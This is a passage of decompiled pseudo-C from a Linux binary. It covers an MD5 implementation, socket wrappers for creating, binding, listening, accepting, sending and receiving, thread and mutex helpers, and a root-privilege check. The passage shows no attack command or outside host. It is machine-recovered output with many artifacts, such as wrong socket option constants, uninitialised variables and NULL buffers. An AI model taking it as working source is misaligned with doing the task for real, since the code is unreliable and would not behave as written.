*(char *)(v3 + 2); // 0x808bef6 unsigned char v7 = *(char *)(v3 + 3); // 0x808bf09 a1[v2] = 0x1000000 * (int32_t)v7 | 0x10000 * (int32_t)v6 | 256 * (int32_t)v5 | (int32_t)v4; int32_t v8 = v1 + 4; // 0x808bf1d if (v8 < a3) { // 0x808bec6 v1 = v8; v2++; // branch -> 0x808bec6 continue; } else { result = v8; } } } // 0x808bf28 return result; } // Address range: 0x808bf2a - 0x808cb4b int32_t CMd5A____MD5Transform(struct struct_45 * a1, struct struct_45 * a2) { int32_t v1 = a1->e1; // 0x808bf45 int32_t v2 = a1->e2; // 0x808bf50 int32_t v3 = a1->e3; // 0x808bf5b int32_t v4 = 64; // bp-104 int32_t * v5; CMd5A____Decode(v5, &a2->e0, 64); int32_t v6 = *v5; // 0x808bf83 uint32_t v7 = a1->e0 - 0x28955b88 + (v3 & -1 - v1 | v2 & v1) + v6; // 0x808bf8c int32_t v8 = (128 * v7 | v7 / 0x2000000) + v1; // 0x808bfa0 int32_t v9; uint32_t v10 = v9 - 0x173848aa + v3 + (-1 - v8 & v2 | v8 & v1); // 0x808bfbd int32_t v11 = (0x1000 * v10 | v10 / 0x100000) + v8; // 0x808bfd1 int32_t v12; uint32_t v13 = v12 + 0x242070db + v2 + (-1 - v11 & v1 | v11 & v8); // 0x808bfee int32_t v14 = (0x20000 * v13 | v13 / 0x8000) + v11; // 0x808c002 int32_t v15; uint32_t v16 = v15 - 0x3e423112 + v1 + (-1 - v14 & v8 | v14 & v11); // 0x808c01f int32_t v17 = (0x400000 * v16 | v16 / 1024) + v14; // 0x808c033 int32_t v18; uint32_t v19 = v18 - 0xa83f051 + v8 + (-1 - v17 & v11 | v17 & v14); // 0x808c050 int32_t v20 = (128 * v19 | v19 / 0x2000000) + v17; // 0x808c064 int32_t v21; uint32_t v22 = v21 + 0x4787c62a + v11 + (-1 - v20 & v14 | v20 & v17); // 0x808c081 int32_t v23 = (0x1000 * v22 | v22 / 0x100000) + v20; // 0x808c095 int32_t v24; uint32_t v25 = v24 - 0x57cfb9ed + v14 + (-1 - v23 & v17 | v23 & v20); // 0x808c0b2 int32_t v26 = (0x20000 * v25 | v25 / 0x8000) + v23; // 0x808c0c6 int32_t v27; uint32_t v28 = v27 - 0x2b96aff + v17 + (-1 - v26 & v20 | v26 & v23); // 0x808c0e3 int32_t v29 = (0x400000 * v28 | v28 / 1024) + v26; // 0x808c0f7 int32_t v30; uint32_t v31 = v30 + 0x698098d8 + v20 + (-1 - v29 & v23 | v29 & v26); // 0x808c114 int32_t v32 = (128 * v31 | v31 / 0x2000000) + v29; // 0x808c128 int32_t v33; uint32_t v34 = v33 - 0x74bb0851 + v23 + (-1 - v32 & v26 | v32 & v29); // 0x808c145 int32_t v35 = (0x1000 * v34 | v34 / 0x100000) + v32; // 0x808c159 int32_t v36; uint32_t v37 = v36 - 0xa44f + v26 + (-1 - v35 & v29 | v35 & v32); // 0x808c176 int32_t v38 = (0x20000 * v37 | v37 / 0x8000) + v35; // 0x808c18a int32_t v39; uint32_t v40 = v39 - 0x76a32842 + v29 + (-1 - v38 & v32 | v38 & v35); // 0x808c1a7 int32_t v41 = (0x400000 * v40 | v40 / 1024) + v38; // 0x808c1bb int32_t v42; uint32_t v43 = v42 + 0x6b901122 + v32 + (-1 - v41 & v35 | v41 & v38); // 0x808c1d8 int32_t v44 = (128 * v43 | v43 / 0x2000000) + v41; // 0x808c1ec int32_t v45; uint32_t v46 = v45 - 0x2678e6d + v35 + (-1 - v44 & v38 | v44 & v41); // 0x808c209 int32_t v47 = (0x1000 * v46 | v46 / 0x100000) + v44; // 0x808c21d int32_t v48 = -1 - v47; // 0x808c22a int32_t v49; uint32_t v50 = v49 - 0x5986bc72 + v38 + (v48 & v41 | v47 & v44); // 0x808c23a int32_t v51 = (0x20000 * v50 | v50 / 0x8000) + v47; // 0x808c24e int32_t v52 = -1 - v51; // 0x808c25b int32_t v53; uint32_t v54 = v53 + 0x49b40821 + v41 + (v52 & v44 | v51 & v47); // 0x808c26b int32_t v55 = (0x400000 * v54 | v54 / 1024) + v51; // 0x808c27f uint32_t v56 = v9 - 0x9e1da9e + v44 + (v55 & v47 | v51 & v48); // 0x808c29c int32_t v57 = (32 * v56 | v56 / 0x8000000) + v55; // 0x808c2b0 uint32_t v58 = v24 - 0x3fbf4cc0 + v47 + (v57 & v51 | v55 & v52); // 0x808c2cd int32_t v59 = (512 * v58 | v58 / 0x800000) + v57; // 0x808c2e1 uint32_t v60 = v39 + 0x265e5a51 + v51 + (v59 & v55 | v57 & -1 - v55); // 0x808c2fe int32_t v61 = (0x4000 * v60 | v60 / 0x40000) + v59; // 0x808c312 int32_t v62 = *v5; // 0x808c326 uint32_t v63 = v62 - 0x16493856 + v55 + (v61 & v57 | v59 & -1 - v57); // 0x808c32f int32_t v64 = (0x100000 * v63 | v63 / 0x1000) + v61; // 0x808c343 uint32_t v65 = v21 - 0x29d0efa3 + v57 + (v64 & v59 | v61 & -1 - v59); // 0x808c360 int32_t v66 = (32 * v65 | v65 / 0x8000000) + v64; // 0x808c374 uint32_t v67 = v36 + 0x2441453 + v59 + (v66 & v61 | v64 & -1 - v61); // 0x808c391 int32_t v68 = (512 * v67 | v67 / 0x800000) + v66; // 0x808c3a5 uint32_t v69 = v53 - 0x275e197f + v61 + (v68 & v64 | v66 & -1 - v64); // 0x808c3c2 int32_t v70 = (0x4000 * v69 | v69 / 0x40000) + v68; // 0x808c3d6 uint32_t v71 = v18 - 0x182c0438 + v64 + (v70 & v66 | v68 & -1 - v66); // 0x808c3f3 int32_t v72 = (0x100000 * v71 | v71 / 0x1000) + v70; // 0x808c407 uint32_t v73 = v33 + 0x21e1cde6 + v66 + (v72 & v68 | v70 & -1 - v68); // 0x808c424 int32_t v74 = (32 * v73 | v73 / 0x8000000) + v72; // 0x808c438 uint32_t v75 = v49 - 0x3cc8f82a + v68 + (v74 & v70 | v72 & -1 - v70); // 0x808c455 int32_t v76 = (512 * v75 | v75 / 0x800000) + v74; // 0x808c469 uint32_t v77 = v15 - 0xb2af279 + v70 + (v76 & v72 | v74 & -1 - v72); // 0x808c486 int32_t v78 = (0x4000 * v77 | v77 / 0x40000) + v76; // 0x808c49a uint32_t v79 = v30 + 0x455a14ed + v72 + (v78 & v74 | v76 & -1 - v74); // 0x808c4b7 int32_t v80 = (0x100000 * v79 | v79 / 0x1000) + v78; // 0x808c4cb uint32_t v81 = v45 - 0x561c16fb + v74 + (v80 & v76 | v78 & -1 - v76); // 0x808c4e8 int32_t v82 = (32 * v81 | v81 / 0x8000000) + v80; // 0x808c4fc uint32_t v83 = v12 - 0x3105c08 + v76 + (v82 & v78 | v80 & -1 - v78); // 0x808c519 int32_t v84 = (512 * v83 | v83 / 0x800000) + v82; // 0x808c52d uint32_t v85 = v27 + 0x676f02d9 + v78 + (v84 & v80 | v82 & -1 - v80); // 0x808c54a int32_t v86 = (0x4000 * v85 | v85 / 0x40000) + v84; // 0x808c55e uint32_t v87 = v42 - 0x72d5b376 + v80 + (v86 & v82 | v84 & -1 - v82); // 0x808c57b int32_t v88 = (0x100000 * v87 | v87 / 0x1000) + v86; // 0x808c58f uint32_t v89 = v21 - 0x5c6be + v82 + (v86 ^ v84 ^ v88); // 0x808c5a5 int32_t v90 = (16 * v89 | v89 / 0x10000000) + v88; // 0x808c5b9 uint32_t v91 = v30 - 0x788e097f + v84 + (v88 ^ v86 ^ v90); // 0x808c5cf int32_t v92 = (2048 * v91 | v91 / 0x200000) + v90; // 0x808c5e3 uint32_t v93 = v39 + 0x6d9d6122 + v86 + (v90 ^ v88 ^ v92); // 0x808c5f9 int32_t v94 = (0x10000 * v93 | v93 / 0x10000) + v92; // 0x808c60d uint32_t v95 = v49 - 0x21ac7f4 + v88 + (v92 ^ v90 ^ v94); // 0x808c623 int32_t v96 = (0x800000 * v95 | v95 / 512) + v94; // 0x808c637 uint32_t v97 = v9 - 0x5b4115bc + v90 + (v94 ^ v92 ^ v96); // 0x808c64d int32_t v98 = (16 * v97 | v97 / 0x10000000) + v96; // 0x808c661 uint32_t v99 = v18 + 0x4bdecfa9 + v92 + (v96 ^ v94 ^ v98); // 0x808c677 int32_t v100 = (2048 * v99 | v99 / 0x200000) + v98; // 0x808c68b uint32_t v101 = v27 - 0x944b4a0 + v94 + (v98 ^ v96 ^ v100); // 0x808c6a1 int32_t v102 = (0x10000 * v101 | v101 / 0x10000) + v100; // 0x808c6b5 uint32_t v103 = v36 - 0x41404390 + v96 + (v100 ^ v98 ^ v102); // 0x808c6cb int32_t v104 = (0x800000 * v103 | v103 / 512) + v102; // 0x808c6df uint32_t v105 = v45 + 0x289b7ec6 + v98 + (v102 ^ v100 ^ v104); // 0x808c6f5 int32_t v106 = (16 * v105 | v105 / 0x10000000) + v104; // 0x808c709 int32_t v107 = v106 ^ v104; // 0x808c709 uint32_t v108 = *v5 - 0x155ed806 + v100 + (v107 ^ v102); // 0x808c71f int32_t v109 = (2048 * v108 | v108 / 0x200000) + v106; // 0x808c733 uint32_t v110 = v15 - 0x2b10cf7b + v102 + (v107 ^ v109); // 0x808c749 int32_t v111 = (0x10000 * v110 | v110 / 0x10000) + v109; // 0x808c75d uint32_t v112 = v24 + 0x4881d05 + v104 + (v109 ^ v106 ^ v111); // 0x808c773 int32_t v113 = (0x800000 * v112 | v112 / 512) + v111; // 0x808c787 uint32_t v114 = v33 - 0x262b2fc7 + v106 + (v111 ^ v109 ^ v113); // 0x808c79d int32_t v115 = (16 * v114 | v114 / 0x10000000) + v113; // 0x808c7b1 uint32_t v116 = v42 - 0x1924661b + v109 + (v113 ^ v111 ^ v115); // 0x808c7c7 int32_t v117 = (2048 * v116 | v116 / 0x200000) + v115; // 0x808c7db uint32_t v118 = v53 + 0x1fa27cf8 + v111 + (v115 ^ v113 ^ v117); // 0x808c7f1 int32_t v119 = (0x10000 * v118 | v118 / 0x10000) + v117; // 0x808c805 uint32_t v120 = v12 - 0x3b53a99b + v113 + (v117 ^ v115 ^ v119); // 0x808c81b int32_t v121 = (0x800000 * v120 | v120 / 512) + v119; // 0x808c82f int32_t v122 = *v5; // 0x808c83e uint32_t v123 = v122 - 0xbd6ddbc + v115 + ((v121 | -1 - v117) ^ v119); // 0x808c847 int32_t v124 = (64 * v123 | v123 / 0x4000000) + v121; // 0x808c85b uint32_t v125 = v27 + 0x432aff97 + v117 + ((v124 | -1 - v119) ^ v121); // 0x808c873 int32_t v126 = (1024 * v125 | v125 / 0x400000) + v124; // 0x808c887 uint32_t v127 = v49 - 0x546bdc59 + v119 + ((v126 | -1 - v121) ^ v124); // 0x808c89f int32_t v128 = (0x8000 * v127 | v127 / 0x20000) + v126; // 0x808c8b3 uint32_t v129 = v21 - 0x36c5fc7 + v121 + ((v128 | -1 - v124) ^ v126); // 0x808c8cb int32_t v130 = (0x200000 * v129 | v129 / 2048) + v128; // 0x808c8df uint32_t v131 = v42 + 0x655b59c3 + v124 + ((v130 | -1 - v126) ^ v128); // 0x808c8f7 int32_t v132 = (64 * v131 | v131 / 0x4000000) + v130; // 0x808c90b uint32_t v133 = v15 - 0x70f3336e + v126 + ((v132 | -1 - v128) ^ v130); // 0x808c923 int32_t v134 = (1024 * v133 | v133 / 0x400000) + v132; // 0x808c937 uint32_t v135 = v36 - 0x100b83 + v128 + ((v134 | -1 - v130) ^ v132); // 0x808c94f int32_t v136 = (0x8000 * v135 | v135 / 0x20000) + v134; // 0x808c963 uint32_t v137 = v9 - 0x7a7ba22f + v130 + ((v136 | -1 - v132) ^ v134); // 0x808c97b int32_t v138 = (0x200000 * v137 | v137 / 2048) + v136; // 0x808c98f uint32_t v139 = v30 + 0x6fa87e4f + v132 + ((v138 | -1 - v134) ^ v136); // 0x808c9a7 int32_t v140 = (64 * v139 | v139 / 0x4000000) + v138; // 0x808c9bb uint32_t v141 = v53 - 0x1d31920 + v134 + ((v140 | -1 - v136) ^ v138); // 0x808c9d3 int32_t v142 = (1024 * v141 | v141 / 0x400000) + v140; // 0x808c9e7 uint32_t v143 = v24 - 0x5cfebcec + v136 + ((v142 | -1 - v138) ^ v140); // 0x808c9ff int32_t v144 = (0x8000 * v143 | v143 / 0x20000) + v142; // 0x808ca13 uint32_t v145 = v45 + 0x4e0811a1 + v138 + ((v144 | -1 - v140) ^ v142); // 0x808ca2b int32_t v146 = (0x200000 * v145 | v145 / 2048) + v144; // 0x808ca3f uint32_t v147 = v18 - 0x8ac817e + v140 + ((v146 | -1 - v142) ^ v144); // 0x808ca57 int32_t v148 = (64 * v147 | v147 / 0x4000000) + v146; // 0x808ca6b uint32_t v149 = v39 - 0x42c50dcb + v142 + ((v148 | -1 - v144) ^ v146); // 0x808ca83 int32_t v150 = (1024 * v149 | v149 / 0x400000) + v148; // 0x808ca97 uint32_t v151 = v12 + 0x2ad7d2bb + v144 + ((v150 | -1 - v146) ^ v148); // 0x808caaf int32_t v152 = (0x8000 * v151 | v151 / 0x20000) + v150; // 0x808cac3 uint32_t v153 = v33 - 0x14792c6f + v146 + ((v152 | -1 - v148) ^ v150); // 0x808cadb a1->e0 += v148; a1->e1 = v152 + a1->e1 + (0x200000 * v153 | v153 / 2048); a1->e2 += v152; a1->e3 += v150; v4 = 64; return CMd5A____MD5_memset(v5, &g2->e0, &v4); } // Address range: 0x808cb4c - 0x808cc57 int32_t CMd5A____MD5Update(int32_t * a1, struct struct_45 * a2, struct struct_45 * a3) { int32_t v1 = (int32_t)a1; // 0x808cb52 int32_t v2 = v1 + 16; // 0x808cb55 int32_t * v3 = (int32_t *)v2; // 0x808cb55_0 uint32_t v4 = *v3 / 8 % 64; // 0x808cb5b *v3 = *v3 + 8 * (int32_t)a3; uint32_t v5 = 8 * (int32_t)a3; // 0x808cb7e int32_t * v6; if (((int32_t)(*v3 < v5) || v5 & -256) == 0) { // 0x808cb4c v6 = (int32_t *)(v1 + 20); // branch -> 0x808cb99 } else { int32_t * v7 = (int32_t *)(v1 + 20); // 0x808cb8d_0 *v7 = *v7 + 1; v6 = v7; // branch -> 0x808cb99 } // 0x808cb99 *v6 = (int32_t)a3 / 0x20000000 + *v6; uint32_t v8 = 64 - v4; // 0x808cbb2 struct struct_45 * v9 = (struct struct_45 *)v8; // 0x808cbb5_0 struct struct_45 * v10; // 0x808cc4a_0 struct struct_45 * v11; // 0x808cc4b_0 int32_t result; // 0x808cc4d int32_t v12; // 0x808cc2a struct struct_45 * v13; // 0x808cc36_0 int32_t v14; // 0x808cc3e1 if ((int32_t)a3 < v8) { // 0x808cc23 v13 = NULL; v14 = v4 + 16; // branch -> 0x808cc2a } else { // 0x808cbc0 CMd5A____MD5_memcpy((int32_t *)(v2 + v4 + 8), &a2->e0, &v9->e0); CMd5A____MD5Transform((struct struct_45 *)a1, (struct struct_45 *)(v1 + 24)); int32_t v15 = (int32_t)v9; // 0x808cbee if (v15 + 63 < (int32_t)a3) { CMd5A____MD5Transform((struct struct_45 *)a1, (struct struct_45 *)((int32_t)a2 + v15)); int32_t v16 = (int32_t)v9; // 0x808cc0c int32_t v17 = v16 + 64; // 0x808cc0c struct struct_45 * v18 = (struct struct_45 *)v17; // 0x808cc0c_4 while (v16 + 127 < (int32_t)a3) { // 0x808cbf6 CMd5A____MD5Transform((struct struct_45 *)a1, (struct struct_45 *)((int32_t)a2 + v17)); v16 = (int32_t)v18; v17 = v16 + 64; v18 = (struct struct_45 *)v17; // continue -> 0x808cbf6 } // 0x808cc2a v12 = (int32_t)v18; v10 = (struct struct_45 *)((int32_t)a3 - v12); v11 = (struct struct_45 *)((int32_t)a2 + v12); result = CMd5A____MD5_memcpy((int32_t *)(24 + v1), &v11->e0, &v10->e0); return result; } v13 = v9; v14 = 16; } // 0x808cc2a v12 = (int32_t)v13; v10 = (struct struct_45 *)((int32_t)a3 - v12); v11 = (struct struct_45 *)((int32_t)a2 + v12); result = CMd5A____MD5_memcpy((int32_t *)(v14 + v1 + 8), &v11->e0, &v10->e0); return result; } // Address range: 0x808cc58 - 0x808ccf1 int32_t CMd5A____MD5Final(int32_t * a1, int32_t * a2) { struct struct_45 * v1 = NULL; // bp-20 int32_t * v2 = (int32_t *)((int32_t)a2 + 16); // 0x808cc66_0 CMd5A____Encode(&v1->e0, v2, (int32_t *)8); uint32_t v3 = *v2 / 8 % 64; // 0x808cc7c struct struct_45 * v4 = (struct struct_45 *)((v3 > 55 ? 120 : 56) - v3); CMd5A____MD5Update(a2, (struct struct_45 *)"\x80", v4); CMd5A____MD5Update(a2, v1, (struct struct_45 *)8); CMd5A____Encode(a1, a2, (int32_t *)16); return CMd5A____MD5_memset(a2, &g2->e0, (int32_t *)88); } // Address range: 0x808ccf2 - 0x808cdbf int32_t CMd5A__MDString(int32_t * a1, struct struct_45 * a2) { struct struct_75 * v1 = NULL; // bp-164 int32_t v2; memcpy(&v2, (int32_t *)0x8106760, 10); CMd5A____MD5Init(v1); struct struct_45 * v3 = (struct struct_45 *)-((-1 * strlen((char *)a2))); // 0x808cd3c_0 CMd5A____MD5Update(&v1->e0, a2, v3); int32_t * v4; CMd5A____MD5Final(v4, &v1->e0); // branch -> 0x808cd71 for (uint32_t i = 0; i < 16; i++) { // 0x808cd71 _IO_sprintf(v2, (int32_t)"%02x", (int32_t)v4 % 256); // PHI copies at the loop end // loop 0x808cd71 end } // 0x808cda3 return std__string__operator_eq_((int32_t **)a1, (char *)&v2); } // Address range: 0x808d088 - 0x808d0a7 int32_t CMedia_511(struct struct_3 * a1, int32_t a2, int32_t a3) { int32_t result = (int32_t)a1; // 0x808d08b a1->e0 = a2; a1->e1 = a3; *(int32_t *)(result + 8) = 0; return result; } // Address range: 0x808d0ae - 0x808d0b3 void CMedia_513(void) { // 0x808d0ae return; } // Address range: 0x808d0cc - 0x808d10b int32_t CNetBase__GetSockName(int32_t sock) { int32_t result = 0; if (getsockname(sock, NULL, (int32_t *)16) > 0) { // 0x808d101 int32_t v1; g95 = v1; result = v1; // branch -> 0x808d107 } // 0x808d107 return result; } // Address range: 0x808d134 - 0x808d1bd int32_t CNetBase__SetKeepAlive(int32_t sock) { // 0x808d134 setsockopt(sock, SO_DEBUG, 9, (int32_t *)1, 4); setsockopt(sock, SO_BROADCAST, 4, (int32_t *)60, 4); setsockopt(sock, SO_BROADCAST, 5, (int32_t *)20, 4); setsockopt(sock, SO_BROADCAST, 6, (int32_t *)3, 4); return 0; } // Address range: 0x808d1be - 0x808d23f int32_t CNetBase__SendTo(int32_t sock, char * message, int32_t length, struct _sockaddr * a4, int32_t a5) { // 0x808d1be htons((int16_t)a5); int32_t v1 = sendto(sock, message, length, (int32_t)g2, (struct _sockaddr *)2, 16); // 0x808d211 int32_t result; if (v1 == -1) { // 0x808d222 result = -*__errno_location(); // branch -> 0x808d238 } else { // 0x808d232 result = v1; // branch -> 0x808d238 } // 0x808d238 return result; } // Address range: 0x808d240 - 0x808d2ef int32_t CNetBase__RecvFrom(int32_t a1, int32_t a2, int32_t a3, int16_t a4, uint32_t a5) { int32_t v1 = g98; // 0x808d244 g96 = a3; g98 = a2; g103 = g99 == 8; int32_t v2 = __libc_recvfrom(a1); // 0x808d290 if (a4 == 0) { // 0x808d2a3 if (a5 % 0x10000 == (int32_t)htons((int16_t)(int32_t)g2)) { // 0x808d2ca int32_t result; // 0x808d2e62 if (v2 == -1) { // 0x808d2d0 result = -*__errno_location(); // branch -> 0x808d2e6 } else { // 0x808d2e0 result = v2; // branch -> 0x808d2e6 } // 0x808d2e6 g98 = v1; return result; } } // 0x808d2e6 g98 = v1; return -1; } // Address range: 0x808d2f0 - 0x808d3a5 int32_t CNetBase__CreateSocket(int32_t a1) { // 0x808d2f0 int32_t sock_fd; // 0x808d32e int32_t result; // 0x808d3a01 if (a1 == 6) { // 0x808d324 sock_fd = socket(AF_INET, SOCK_STREAM, (int32_t)g2); if (sock_fd == -1) { // 0x808d33f result = -*__errno_location(); // branch -> 0x808d3a0 } else { // 0x808d34f if (sock_fd >= 1) { // 0x808d355 setsockopt(sock_fd, SO_DEBUG, 2, (int32_t *)1, 4); setsockopt(sock_fd, SO_DEBUG, 13, (int32_t *)1, 8); // branch -> 0x808d39a } // 0x808d39a g95 = sock_fd; result = sock_fd; // branch -> 0x808d3a0 } // 0x808d3a0 return result; } // 0x808d30c if (a1 != 17) { // 0x808d3a0 return 0; } // 0x808d324 sock_fd = socket(AF_INET, SOCK_DGRAM, (int32_t)g2); if (sock_fd == -1) { // 0x808d33f result = -*__errno_location(); // branch -> 0x808d3a0 } else { // 0x808d34f if (sock_fd >= 1) { // 0x808d355 setsockopt(sock_fd, SO_DEBUG, 2, (int32_t *)1, 4); setsockopt(sock_fd, SO_DEBUG, 13, (int32_t *)1, 8); // branch -> 0x808d39a } // 0x808d39a g95 = sock_fd; result = sock_fd; // branch -> 0x808d3a0 } // 0x808d3a0 return result; } // Address range: 0x808d476 - 0x808d4b9 int32_t CNetBase__SetSendBufSize(int32_t sock) { // 0x808d476 int32_t * option_value; int32_t v1 = setsockopt(sock, SO_DEBUG, 7, option_value, 4); // 0x808d48c int32_t v2 = (int32_t)(v1 == -1) | v1 & -256; // 0x808d497 g95 = v2; int32_t result; if (v2 != 0) { // 0x808d49e result = -*__errno_location(); // branch -> 0x808d4b5 } else { result = 0; } // 0x808d4b5 return result; } // Address range: 0x808d578 - 0x808d5dd int32_t CNetBase__Bind(int32_t a1, int32_t a2) { struct _sockaddr v1; // bp-24 // 0x808d578 v1 = (struct _sockaddr){ .e0 = 0 }; v1.e1[4] = g100; uint32_t v2 = v1.e1[7]; // 0x808d57e v1.e0 = 2; v1.e1[0] = 0; g95 = v2 % 0x10000; v1.e0 = htons((int16_t)v2); int32_t v3 = bind(0x10000 * v1.e1[6] / 0x10000, &v1, 16); // 0x808d5b2 v1.e1[3] = v3; int32_t result; if (v3 == -1) { // 0x808d5c3 result = -*__errno_location(); // branch -> 0x808d5d9 } else { // 0x808d5d3 g95 = v3; result = v3; // branch -> 0x808d5d9 } // 0x808d5d9 g100 = v1.e1[4]; return result; } // Address range: 0x808d644 - 0x808d67f int32_t CNetBase__Listen(int32_t sock, int32_t backlog) { int32_t v1 = listen(sock, backlog); // 0x808d653 int32_t result; if (v1 == -1) { // 0x808d664 result = -*__errno_location(); // branch -> 0x808d67a } else { // 0x808d674 g95 = v1; result = v1; // branch -> 0x808d67a } // 0x808d67a return result; } // Address range: 0x808d680 - 0x808d6e7 int32_t CNetBase__Accept(int32_t sock, struct _sockaddr * addr, int32_t * addr_len) { int32_t v1 = 1; // 0x808d6c21 // branch -> 0x808d694 while (true) { int32_t accepted_sock_fd = accept(sock, addr, addr_len); // 0x808d6a6 if (*__errno_location() == 4) { // 0x808d6bd if (v1 < g16) { // 0x808d6bd v1++; // branch -> 0x808d694 continue; } } // 0x808d6c7 if (accepted_sock_fd != -1) { // 0x808d6dd // branch -> 0x808d6e3 // 0x808d6e3 return accepted_sock_fd; } int32_t result = -*__errno_location(); // branch -> 0x808d6e3 // 0x808d6e3 return result; } } // Address range: 0x808da6a - 0x808db39 int32_t CNetBase__SetRecvTimeOut(int32_t sock, int32_t a2) { // 0x808da6a g96 = a2; int32_t v1 = setsockopt(sock, SO_DEBUG, 20, (int32_t *)(a2 / 1000), 8); // 0x808db09 int32_t v2 = (int32_t)(v1 == -1) | v1 & -256; // 0x808db14 g95 = v2; int32_t result; // 0x808db24 if (v2 != 0) { // 0x808db1b result = -*__errno_location(); g96 = result; // branch -> 0x808db32 } else { result = 0; } // 0x808db32 return result; } // Address range: 0x808dc1a - 0x808dc53 int32_t CNetBase__Close(int32_t fd) { int32_t v1 = close(fd); // 0x808dc26 int32_t v2 = (int32_t)(v1 == -1) | v1 & -256; // 0x808dc31 g95 = v2; int32_t result; if (v2 != 0) { // 0x808dc38 result = -*__errno_location(); // branch -> 0x808dc4f } else { result = 0; } // 0x808dc4f return result; } // Address range: 0x808e004 - 0x808e12f int32_t CNetBase__WaitRecv(uint32_t a1, struct _sockaddr * a2) { int32_t nfds = a1 + 1; // 0x808e011 struct _timeval * timeout = (struct _timeval *)((int32_t)a2 / 1000); // bp-36 int32_t * v1; memset(v1, (int32_t)g2, 32); int32_t * readfds = (int32_t *)(1 << a1 % 32 | (int32_t)v1); // 0x808e08c_1 int32_t v2 = 0; // 0x808e0fe2 // branch -> 0x808e0a2 int32_t result; // 0x808e0c0 int32_t result2; while (true) { int32_t v3 = v2 + 1; // 0x808e0a5 if (a2 == (struct _sockaddr *)-1) { // 0x808e0ad result = select(nfds, readfds, &g2->e0, &g2->e0, (struct _timeval *)g2); // branch -> 0x808e0ed } else { // 0x808e0cd result = select(nfds, readfds, &g2->e0, &g2->e0, timeout); // branch -> 0x808e0ed } // 0x808e0ed if (*__errno_location() == 4) { // 0x808e0f9 if (v3 >= g16) { // break -> 0x808e103 break; } v2 = v3; // continue -> 0x808e0a2 continue; } // 0x808e103 if (result != -1) { // 0x808e11c // branch -> 0x808e125 // 0x808e125 return result; } // 0x808e109 result2 = -*__errno_location(); // branch -> 0x808e125 // 0x808e125 return result2; } // 0x808e103 if (result == -1) { // 0x808e109 result2 = -*__errno_location(); // branch -> 0x808e125 } else { // 0x808e11c result2 = result; // branch -> 0x808e125 } // 0x808e125 return result2; } // Address range: 0x808e130 - 0x808e179 int32_t CNetBase__Accept_523(int32_t a1, struct _sockaddr * a2, int32_t * a3, struct _sockaddr * a4) { // 0x808e130 if (a4 == (struct _sockaddr *)-1) { // 0x808e15e // branch -> 0x808e175 // 0x808e175 return CNetBase__Accept(a1, a2, a3); } int32_t v1 = CNetBase__WaitRecv(a1, a4); // 0x808e145 int32_t result; if (v1 > 0) { // 0x808e13c // branch -> 0x808e15e // 0x808e15e result = CNetBase__Accept(a1, a2, a3); // branch -> 0x808e175 } else { // 0x808e156 result = v1; // branch -> 0x808e175 } // 0x808e175 return result; } // Address range: 0x808e2b6 - 0x808e2bb void CThreadCondition_524(void) { // 0x808e2b6 return; } // Address range: 0x808e2c2 - 0x808e2c7 void CThreadCondition_526(void) { // 0x808e2c2 return; } // Address range: 0x808e2c8 - 0x808e333 int32_t CThreadCondition__InitCondition(int32_t a1) { int32_t v1 = a1; // bp-44 int32_t result = pthread_mutex_init(&v1, &g2->e0); // 0x808e2de if (((int32_t)(result == 0) || result & -256) == 1) { // 0x808e2fc v1 = a1 + 24; __pthread_cond_init((struct struct_82 *)&v1, (char *)g2); g95 = 0; // branch -> 0x808e32e } else { // 0x808e328 g95 = result; // branch -> 0x808e32e } // 0x808e32e return result; } // Address range: 0x808e4ca - 0x808e55b int32_t CThreadCondition__DestroyCondition(int32_t * mutex2) { int32_t mutex = (int32_t)mutex2; // 0x808e4ec int32_t v1 = mutex + 24; // 0x808e4f2 int32_t v2 = pthread_cond_timedwait((struct struct_84 *)v1, mutex, (struct struct_83 *)g2); // 0x808e4fe int32_t * cond2; if (((int32_t)(v2 == 110) || v2 & -256) == 0) { // 0x808e4ca cond2 = (int32_t *)v1; // branch -> 0x808e522 } else { int32_t * cond = (int32_t *)v1; // 0x808e519_0 pthread_cond_signal(cond); cond2 = cond; // branch -> 0x808e522 } int32_t v3 = pthread_cond_destroy(cond2); // 0x808e52c int32_t v4 = pthread_mutex_destroy(mutex2); // 0x808e53e int32_t result = v3; // 0x808e5551 if (v3 == 0) { // 0x808e54f result = v4; // branch -> 0x808e555 } // 0x808e555 return result; } // Address range: 0x808e57e - 0x808e5b3 int32_t CThread(struct struct_78 * a1) { // 0x808e57e a1->e0 = 0x81067e0; a1->e1 = 0; a1->e3 = 0; __pthread_attr_init_2_1((int32_t)a1 + 8); return 0; } // Address range: 0x808e668 - 0x808e6a9 int32_t CThread__StartThread(int32_t a1) { int32_t v1 = a1 + 4; // 0x808e671 int32_t * v2 = (int32_t *)v1; // 0x808e671_0 if (*v2 == 0) { // 0x808e678 __pthread_create_2_1(v1); // branch -> 0x808e699 } int32_t v3 = *v2; // 0x808e69c int32_t v4 = ((int32_t)(v3 == 0) | v3 & -256) ^ 1; // 0x808e6a1 g95 = v4; return v4 % 2; } // Address range: 0x808e752 - 0x808e757 void CThreadMutex_531(void) { // 0x808e752 return; } // Address range: 0x808e75e - 0x808e763 void CThreadMutex_533(void) { // 0x808e75e return; } // Address range: 0x808e764 - 0x808e77d int32_t CThreadMutex__InitMutex(int32_t a1) { // 0x808e764 g95 = a1; return pthread_mutex_init(&a1, &g2->e0); } // Address range: 0x808e796 - 0x808e7ad int32_t CThreadMutex__Lock(int32_t a1) { int32_t v1; return __pthread_mutex_lock_internal((struct struct_3 *)&a1, &v1, NULL, NULL); } // Address range: 0x808e7ae - 0x808e7c5 int32_t CThreadMutex__Unlock(int32_t a1) { return __pthread_mutex_unlock_internal((struct struct_45 *)&a1); } // Address range: 0x808e7c6 - 0x808e7df int32_t CThreadMutex__DestroyMutex(int32_t * mutex) { // 0x808e7c6 return pthread_mutex_destroy(mutex); } // Address range: 0x808ea3e - 0x808eaf3 int32_t CUtility__Int2String(int32_t result, int32_t a2) { int32_t v1 = g98; // 0x808ea41 int32_t * v2; memcpy(v2, (int32_t *)0x8106820, 128); int32_t v3 = (int32_t)v2; // 0x808ea78 _IO_sprintf(v3, (int32_t)"%d", a2); g98 = result; int32_t v4; std__allocator_lt_char_gt__598(v4); int32_t v5 = g98; // bp-172 int32_t v6; int32_t v7; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v5, v3, v4, v7, v6, 0); std__allocator_lt_char_gt_(); g98 = v1; return result; } // Address range: 0x808eaf4 - 0x808eb09 int32_t CUtility__IsRoot(void) { int32_t v1 = getuid(); // 0x808eafa int32_t result = v1 == 0; // 0x808eb01 g95 = result | v1 & -256; return result; } // Address range: 0x808eb0a - 